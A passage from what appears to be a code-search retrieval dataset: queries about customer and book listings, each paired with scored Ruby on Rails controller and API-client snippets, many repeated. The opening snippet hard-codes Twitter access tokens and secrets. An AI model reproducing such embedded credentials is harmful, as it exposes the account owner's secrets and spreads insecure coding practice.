\"i8JvIWmswNqA7c9HIpTHJ1nIxZAGGcWyLaGBxfteQXMkNK4DqK\"\n config.access_token = \"14191779-n4X4Fs1WDx9IlNqjt5WhDYT0oMttRlmBP3ysoUhII\"\n config.access_token_secret = \"dixLEBjwapLNrmlZEu2amiB8qcZGihvPnLXoN5d15AgsA\"\n end\n # TODO: max_id, since_id\n client.search(@watcher.keywords, :lang => 'en', :count => 100).take(100).collect do |tweet|\n Tweet.create(:watcher_id => @watcher.id, :tweet_id => tweet.id, :fields => tweet.to_h)\n end\n\n format.html { redirect_to @watcher, notice: 'Watcher was successfully created.' }\n format.json { render :show, status: :created, location: @watcher }\n else\n format.html { render :new }\n format.json { render json: @watcher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99e3be94dc4e93890f9b312502a2b981", "score": "0.47127405", "text": "def twitter_url(json)\n \"http://twitter.com/#{json['from_user']}/status/#{json['id']}\"\n end", "title": "" }, { "docid": "bb04c0fd991ce1528995434c9f09b87a", "score": "0.4711207", "text": "def status(params)\n http_helper.send_post_request(\"#{@url_prefix}/status\", params)\n end", "title": "" }, { "docid": "e7049387776dc1dbfb8e35ac52958928", "score": "0.4707428", "text": "def update_status(m, params)\n unless @has_oauth\n report_oauth_missing(m, \"I cannot update your status\")\n return false\n end\n\n unless @registry.has_key?(m.sourcenick + \"_access_token\")\n m.reply \"You must first authorize your Twitter account before tweeting.\"\n return false;\n end\n @access_token = YAML::load(@registry[m.sourcenick + \"_access_token\"])\n\n uri = \"https://api.twitter.com/statuses/update.json\"\n msg = params[:status].to_s\n\n if msg.length > 140\n m.reply \"your status message update is too long, please keep it under 140 characters\"\n return\n end\n\n response = @access_token.post(uri, { :status => msg })\n debug response\n\n reply_method = params[:notify] ? :notify : :reply\n if response.class == Net::HTTPOK\n m.__send__(reply_method, \"status updated\")\n else\n m.__send__(reply_method, \"could not update status\")\n end\n end", "title": "" } ]
4288a368f9271de40611375a3d2efd84
GET /self_customers GET /self_customers.json
[ { "docid": "811d12d099c5b4426bbfc7b9cff911cb", "score": "0.0", "text": "def index\n @self_customers = @SelfActiveRecord.all\n # raise @self_customers.inspect\n end", "title": "" } ]
[ { "docid": "ab3a471dfd63ac01284c3074cfbcb883", "score": "0.74439144", "text": "def customer\n fetcher.get(Customer, customer_id)\n end", "title": "" }, { "docid": "44d5c99d89ab374d2baf04ebcdda12b5", "score": "0.7432457", "text": "def getcustsjson\n render :json => @customers\n end", "title": "" }, { "docid": "e9c7651d1891953067719cb341ff5ccb", "score": "0.73011416", "text": "def index\n @customers = Customer.all\n\n render json: @customers\n end", "title": "" }, { "docid": "c56a1df84ba86e526361aaafe88ef9aa", "score": "0.7243496", "text": "def customer(options = nil)\n request = Request.new(@client)\n path = \"/subscriptions/\" + CGI.escape(@id) + \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n customer = Customer(self._client)\n return_values.push(customer.fill_with_data(body))\n\n \n return_values[0]\n end", "title": "" }, { "docid": "39e9df87d6fdf6d8b4e75a99457d6e67", "score": "0.7214569", "text": "def customer(customer_id:)\n path = '/api/customer/get'\n\n private_get(path, { customerId: customer_id })\n end", "title": "" }, { "docid": "5e9784fc89d7fc44e40f1724fda2089b", "score": "0.71924514", "text": "def show\n\t\t@customer = Customer.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @customers }\n\t\tend\n\tend", "title": "" }, { "docid": "7466efc84ba133a44c03c0e4a76376ef", "score": "0.71414244", "text": "def customer(options = nil)\n request = Request.new(@client)\n path = \"/invoices/\" + CGI.escape(@id) + \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n customer = Customer(self._client)\n return_values.push(customer.fill_with_data(body))\n\n \n return_values[0]\n end", "title": "" }, { "docid": "05b334dcd82e9a93de24c5547c06e63b", "score": "0.7131959", "text": "def index\n #pull customer based on params given\n if params.has_key?(:id)\n customer = Customer.find_by(id: params['id'])\n elsif params.has_key?(:email)\n customer = Customer.find_by(email: params['email'])\n end\n \n #return customer info if found\n if customer != nil\n data = format_customer(customer)\n render(json: data, status: 200)\n else\n head :not_found\n end\n end", "title": "" }, { "docid": "1a4409a46fdcad0d6b3f11feef9997b8", "score": "0.71044636", "text": "def customers\n @customers ||= Jortt::Client::Customers.new(self)\n end", "title": "" }, { "docid": "1a4409a46fdcad0d6b3f11feef9997b8", "score": "0.71044636", "text": "def customers\n @customers ||= Jortt::Client::Customers.new(self)\n end", "title": "" }, { "docid": "bce6853b21d51915cf2953720f94ffc5", "score": "0.71011615", "text": "def customer(id)\n get \"customers/#{id}\"\n end", "title": "" }, { "docid": "d30cce48ae05b18e862b8efa1a326540", "score": "0.70954245", "text": "def index\n @customers = User.customers\n end", "title": "" }, { "docid": "970daf75753713fec5d078e7f9b1c654", "score": "0.7077194", "text": "def show\n render json: @customer\n end", "title": "" }, { "docid": "dba3fe97c4e48ff5c61d62cf89626b6a", "score": "0.707348", "text": "def index\n @customers = Customer.all_customers(current_user.id)\n end", "title": "" }, { "docid": "47db6fc338edb7f079c294a656d01bc9", "score": "0.69960487", "text": "def customer\n @customer ||= Resource.new(self, '/v1/customers', options)\n end", "title": "" }, { "docid": "b3f4e1c47b40920b54a4945ccfea1a92", "score": "0.69697046", "text": "def show\n render json: Customer.find(params[:id])\n end", "title": "" }, { "docid": "a6ce78b20fb89f988e3729081fbaa1a7", "score": "0.69685364", "text": "def customers\n @customers ||= Services::CustomersService.new(@api_service)\n end", "title": "" }, { "docid": "c54146389444d205dca16dc4404a7ef8", "score": "0.6949824", "text": "def show\n @customers = Kopi.find(params[:id]).customers\n end", "title": "" }, { "docid": "08c50dcf8046709d9d42c82fb5f5ddb7", "score": "0.69352335", "text": "def customers\n @customers ||= CustomersApi.new config\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.69265044", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "360133f338e28c4eaa1bbb88f8184876", "score": "0.69265044", "text": "def get_customer(id)\n get(\"customers/#{id}\")\n end", "title": "" }, { "docid": "6d7c2d266d08bacf01a5c94a8e2bf419", "score": "0.6905037", "text": "def customer_me\n check_user_authorization\n get_wrapper('/V1/customers/me', default_headers)\n end", "title": "" }, { "docid": "d2477aaed4b8d8420ca337b1bee4f46a", "score": "0.68961084", "text": "def show\n @customers = Customer.where(:user_id => current_user.id)\n end", "title": "" }, { "docid": "b01063ce2709689540c4dc080b5fd1a0", "score": "0.6867032", "text": "def customer(id)\n response = get(\"customers/#{id}\")\n response\n end", "title": "" }, { "docid": "1d287b0091232f553dee03fe06b86aa2", "score": "0.68634206", "text": "def customers\n @customers ||= CustomersApi.new @global_configuration\n end", "title": "" }, { "docid": "b2078442eb6b43e2b62b97cb9ddef835", "score": "0.6850027", "text": "def get_customers()\n customers = Customer.find(:all, :conditions => {:company_id => self.id})\n\n return customers\n end", "title": "" }, { "docid": "fba31b2f64e5435932f2f7bf9d4b7844", "score": "0.6835643", "text": "def getCustomer\n if request.query_string.present? \n if params[:email].present?\n code, @customer = Customer.getCustomerByEmail(params[:email]) #Calling the helper Customer class method \n #which sends back a response\n if code == 404\n render(json: {messages: 'Customer email not found'}, status: 404)\n else\n render(json: @customer, status: 200)\n end\n elsif params[:id].present?\n response = Customer.getCustomerById(params[:id]) #Calling the helper Customer class method\n if response.code == 404\n render(json: {messages: 'Customer id not found'}, status: 404)\n else\n @customer = JSON.parse response.body\n render(json: @customer, status: 200)\n end\n end\n else\n head 404\n end\n end", "title": "" }, { "docid": "4f0ac60cfd7a38ca44d59d55350d8890", "score": "0.6829351", "text": "def show\n begin\n @customer = Customer.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n @customer = nil\n puts 'customer not found'\n end\n if @customer\n render json: {'customer': @customer}\n end\n end", "title": "" }, { "docid": "1f1bf437b8ead0829d90a1af0aab19cb", "score": "0.6810541", "text": "def customer\n @customer = Sale.where(\"user_id = ?\" , current_user.id).distinct.pluck(:customer)\n # send date in form of json\n render json: @customer\n end", "title": "" }, { "docid": "33c8538bf9534e22359c353d729415b7", "score": "0.68089426", "text": "def index\n @customers = Customer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "ce4d01c6ba3802da1741bf2edf776583", "score": "0.6800342", "text": "def index\n @customers = Customer.all\n #Respond to request will all data (Permissions maybe here)\n respond_to do |format|\n format.json { render :json => @customers }\n end\n end", "title": "" }, { "docid": "8b8d8e122613aa2b0ebe8c3bb79e8be0", "score": "0.67862713", "text": "def index\n\n @customers = Fetchers::FetchCustomerService.index(params)\n Rails.logger.info \"---- customers\" + @customers.inspect\n respond_to do |format|\n format.js\n format.html\n end\n \n end", "title": "" }, { "docid": "290f5721636f3e207bc57a0672d0b70e", "score": "0.6775014", "text": "def customers\n return @customers\n end", "title": "" }, { "docid": "290f5721636f3e207bc57a0672d0b70e", "score": "0.6775014", "text": "def customers\n return @customers\n end", "title": "" }, { "docid": "664aa165be5b2061565ec0da84f566b0", "score": "0.6763524", "text": "def all(options = nil)\n request = Request.new(@client)\n path = \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['customers']\n tmp = Customer(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "4e2663ec924b9b9053185e04c54f40ee", "score": "0.6757788", "text": "def list\n customers = @customers_repository.all\n @view.list(customers)\n end", "title": "" }, { "docid": "f8da6c93630f6aed93c3a4864cfffa91", "score": "0.67533195", "text": "def index\n if !logged_in?\n redirect_to login_url\n elsif current_authority == $customer\n redirect_to customer_url(current_user)\n end\n @customers = Customer.all\n end", "title": "" }, { "docid": "aec3caef69c873f9e9afe44e8acfbdd7", "score": "0.67321414", "text": "def index\n #byebug\n #CHECK AUTHORIZATION HERE NOT JUST JUST AUTHENTICATION\n render json: CustomerUser.all\n end", "title": "" }, { "docid": "6164b63cbdde473b1dad3ce824374c67", "score": "0.67235386", "text": "def index\n\n @customers = Fetchers::FetchCustomerService.index(params)\n respond_to do |format|\n format.js\n format.html\n end\n end", "title": "" }, { "docid": "b837aa602057fd53bdf409b2e4188c81", "score": "0.66987324", "text": "def get_current_customer\n if logged_in?\n # we are using fast json API, We have serializer to specific which attribute\n # we want to return, We should pass our customer to serializer to select specific attributes\n #render json: current_customer\n options = {\n include: [:orders, :orderdetails]\n }\n render json: CustomerSerializer.new(current_customer, options)\n else\n render json: {\n error: \"No one logged in\"\n }\n end\n end", "title": "" }, { "docid": "636d3cf144c2fb3d3f210cf5fb493e04", "score": "0.6696734", "text": "def customer(code = nil)\n retrieve_item(self, :customers, code)\n end", "title": "" }, { "docid": "ec5bcc92e31255a7e571529ebbef33ca", "score": "0.6686565", "text": "def get_customers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomersApi.get_customers ...\"\n end\n # resource path\n local_var_path = \"/customers\"\n\n # query parameters\n query_params = {}\n query_params[:'includes'] = @api_client.build_collection_param(opts[:'includes'], :csv) if !opts[:'includes'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'order_by'] = @api_client.build_collection_param(opts[:'order_by'], :multi) if !opts[:'order_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APIKeyHeader']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Customer>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#get_customers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "68243d01115a465189fa8e0b3f0f9604", "score": "0.6670177", "text": "def index\n @namespace = \"customers\"\n @auth_token = current_customer.auth_token\n end", "title": "" }, { "docid": "05afb9dd2f5e876bc1acdc7377a58bf8", "score": "0.66683847", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "c3e9f68f2f24d6c788be8c6cc4fd0155", "score": "0.66661346", "text": "def customers\n @title = \"Customer List\"\n @customers = OrderUser.paginate(\n :include => ['orders'],\n :order => \"last_name ASC, first_name ASC\",\n :page => params[:page],\n :per_page => 30\n ) \n end", "title": "" }, { "docid": "612c094dc1a7d024d84b295c770a2958", "score": "0.66640013", "text": "def show\n @customer = Customer.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6a538b6fb291a699cd138948b81312b0", "score": "0.6663939", "text": "def show(customer_token)\n api_response(api_get(\"#{PATH}/#{customer_token}\"))\n end", "title": "" }, { "docid": "5d0d732b32c3483039e58df117069383", "score": "0.6663778", "text": "def customers\r\n CustomersController.instance\r\n end", "title": "" }, { "docid": "023e5ee939ac36374f8b21b072cf9548", "score": "0.6660876", "text": "def index\n @customers = Customer.all :order => \"customers_id\"\n\trespond_with (@customers)\n end", "title": "" }, { "docid": "dc48705b83db1f0994df732e74db6e98", "score": "0.6656671", "text": "def get_customers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomerApi.get_customers ...'\n end\n # resource path\n local_var_path = '/customer/customers'\n\n # query parameters\n query_params = {}\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'qb_class'] = opts[:'qb_class'] if !opts[:'qb_class'].nil?\n query_params[:'quickbooks_code'] = opts[:'quickbooks_code'] if !opts[:'quickbooks_code'].nil?\n query_params[:'last_modified_dts_start'] = opts[:'last_modified_dts_start'] if !opts[:'last_modified_dts_start'].nil?\n query_params[:'last_modified_dts_end'] = opts[:'last_modified_dts_end'] if !opts[:'last_modified_dts_end'].nil?\n query_params[:'signup_dts_start'] = opts[:'signup_dts_start'] if !opts[:'signup_dts_start'].nil?\n query_params[:'signup_dts_end'] = opts[:'signup_dts_end'] if !opts[:'signup_dts_end'].nil?\n query_params[:'billing_first_name'] = opts[:'billing_first_name'] if !opts[:'billing_first_name'].nil?\n query_params[:'billing_last_name'] = opts[:'billing_last_name'] if !opts[:'billing_last_name'].nil?\n query_params[:'billing_company'] = opts[:'billing_company'] if !opts[:'billing_company'].nil?\n query_params[:'billing_city'] = opts[:'billing_city'] if !opts[:'billing_city'].nil?\n query_params[:'billing_state'] = opts[:'billing_state'] if !opts[:'billing_state'].nil?\n query_params[:'billing_postal_code'] = opts[:'billing_postal_code'] if !opts[:'billing_postal_code'].nil?\n query_params[:'billing_country_code'] = opts[:'billing_country_code'] if !opts[:'billing_country_code'].nil?\n query_params[:'billing_day_phone'] = opts[:'billing_day_phone'] if !opts[:'billing_day_phone'].nil?\n query_params[:'billing_evening_phone'] = opts[:'billing_evening_phone'] if !opts[:'billing_evening_phone'].nil?\n query_params[:'shipping_first_name'] = opts[:'shipping_first_name'] if !opts[:'shipping_first_name'].nil?\n query_params[:'shipping_last_name'] = opts[:'shipping_last_name'] if !opts[:'shipping_last_name'].nil?\n query_params[:'shipping_company'] = opts[:'shipping_company'] if !opts[:'shipping_company'].nil?\n query_params[:'shipping_city'] = opts[:'shipping_city'] if !opts[:'shipping_city'].nil?\n query_params[:'shipping_state'] = opts[:'shipping_state'] if !opts[:'shipping_state'].nil?\n query_params[:'shipping_postal_code'] = opts[:'shipping_postal_code'] if !opts[:'shipping_postal_code'].nil?\n query_params[:'shipping_country_code'] = opts[:'shipping_country_code'] if !opts[:'shipping_country_code'].nil?\n query_params[:'shipping_day_phone'] = opts[:'shipping_day_phone'] if !opts[:'shipping_day_phone'].nil?\n query_params[:'shipping_evening_phone'] = opts[:'shipping_evening_phone'] if !opts[:'shipping_evening_phone'].nil?\n query_params[:'pricing_tier_oid'] = opts[:'pricing_tier_oid'] if !opts[:'pricing_tier_oid'].nil?\n query_params[:'pricing_tier_name'] = opts[:'pricing_tier_name'] if !opts[:'pricing_tier_name'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_since'] = opts[:'_since'] if !opts[:'_since'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CustomersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerApi#get_customers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "6f5132390232207b6b60f2ed4542ba71", "score": "0.66554314", "text": "def get_customer(id)\n get \"/customers/#{id}\"\n\n @customer_hash = JSON.parse(response.body)\n @referral_hash = @customer_hash['referrals'].last\n\n assert_response :ok\n end", "title": "" }, { "docid": "83ddd4884d71ad8f8dc9e96db377949c", "score": "0.6628604", "text": "def get_customer\n\n end", "title": "" }, { "docid": "6176ac72b29d0b5c90cd89498a3f1d49", "score": "0.66217196", "text": "def customers\n self.customers\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.6619029", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "7e5e0e86054a8755023c0737916e1b7c", "score": "0.66186315", "text": "def index\n @customers = Customer.all\n end", "title": "" }, { "docid": "48f2e92f67b33a00fa80d508dbeae24c", "score": "0.660865", "text": "def index\n @info_customers = Info::Customer.all\n end", "title": "" }, { "docid": "54b6884f45fb307b4cb33a35f6eb1971", "score": "0.66064984", "text": "def show\n @customer = Customer.authorized.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {\n render :json => @customer\n }\n end\n end", "title": "" }, { "docid": "dcd36d8f22288acaddea507f22e07b02", "score": "0.66029984", "text": "def accounts(customer_id)\n self.class.get(\"/customers/#{customer_id}/accounts\", @options)\n end", "title": "" }, { "docid": "d9c586c49206fa6b5cbfe3ee8e914376", "score": "0.65706754", "text": "def index\n if params[:id]\n @customer_names = Customer.find_by_id(params[:id])\n @customer_credits = CustomerCredit.where(:customer_id => params[:id]).order('created_at DESC') \n else\n \n @customer_names = Customer.all\n \n @page_customer_credits = CustomerCredit.where(:id != nil).order('id DESC').paginate(:page => params[:page], :per_page => 30)\n\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customer_credits }\n end\n end", "title": "" }, { "docid": "ef84e007acc4fbeb09d7796a708eb512", "score": "0.656787", "text": "def find(customer_id, options = nil)\n request = Request.new(@client)\n path = \"/customers/\" + CGI.escape(customer_id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n \n \n obj = Customer.new(@client)\n return_values.push(obj.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "a18813e3bf44e559cb08f9290a4c3a4e", "score": "0.65618867", "text": "def index\n @requests = current_customer.request\n end", "title": "" }, { "docid": "5dd1ff6f934e4875da50bd793deee60d", "score": "0.6560784", "text": "def get_customer(customer_id)\n ap get_url(\"customer\") + '/' + customer_id\n\n response = ssl_get(get_url(\"customer\") + \"/\" + customer_id, headers)\n # commit('customer', customer_id)\n end", "title": "" }, { "docid": "be445bfc9d7bdff1ff44c89f188aa847", "score": "0.65552884", "text": "def retrieve_customer(opts)\n requires!(opts, :id)\n r = req(opts.merge(:method => 'retrieve_customer'))\n Response.new(r)\n end", "title": "" }, { "docid": "30fab7109a46797fb2c04500f4d658ee", "score": "0.6554495", "text": "def v1_customers_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomersApi.v1_customers_get ...\"\n end\n # resource path\n local_var_path = \"/v1/customers\"\n\n # query parameters\n query_params = {}\n query_params[:'field'] = @api_client.build_collection_param(opts[:'field'], :multi) if !opts[:'field'].nil?\n query_params[:'filter'] = @api_client.build_collection_param(opts[:'filter'], :multi) if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Customer>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#v1_customers_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "1881b89b94937fbb2cfd63028252e1f7", "score": "0.6554324", "text": "def index\n\t render json: @customers = Customer.where(\"created_at >= ?\", Time.zone.now.beginning_of_day)\n\t \n\tend", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" }, { "docid": "6f7be47bf606e44c3149986fbcd8036d", "score": "0.6551444", "text": "def show\n @customer = Customer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end", "title": "" } ]
3b37da775b7d211bff97e48e0c4bab46
GET /readbooks/1 GET /readbooks/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "a613f6e6f0318023e97fa4ad7cee0b91", "score": "0.7259489", "text": "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "title": "" }, { "docid": "caad5c99a26326c023e790883c05cfff", "score": "0.6887753", "text": "def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end", "title": "" }, { "docid": "9165dbb7d5c6b91cd003808b540cbbee", "score": "0.6849981", "text": "def index\n if params[:book_id]\n @book = Book.find(params[:book_id])\n recipes = @book.recipes\n render json: RecipeSerializer.new(recipes).to_serialized_json\n else \n recipes = Recipe.all.order(:name)\n render json: RecipeSerializer.new(recipes).to_serialized_json\n end\n end", "title": "" }, { "docid": "c2de927024c50641df2dab9505940baa", "score": "0.68260026", "text": "def index\n @cookbooks = Cookbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cookbooks }\n end\n end", "title": "" }, { "docid": "ab5e00d42926740abfdd881b0a7c82f8", "score": "0.6818991", "text": "def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "title": "" }, { "docid": "c4746dc91005a0d372416b076d43946f", "score": "0.6811343", "text": "def index\n @books = Book.all\n render json: @books\n end", "title": "" }, { "docid": "43ace69b1ac0ba0b7022de4e1678bbaf", "score": 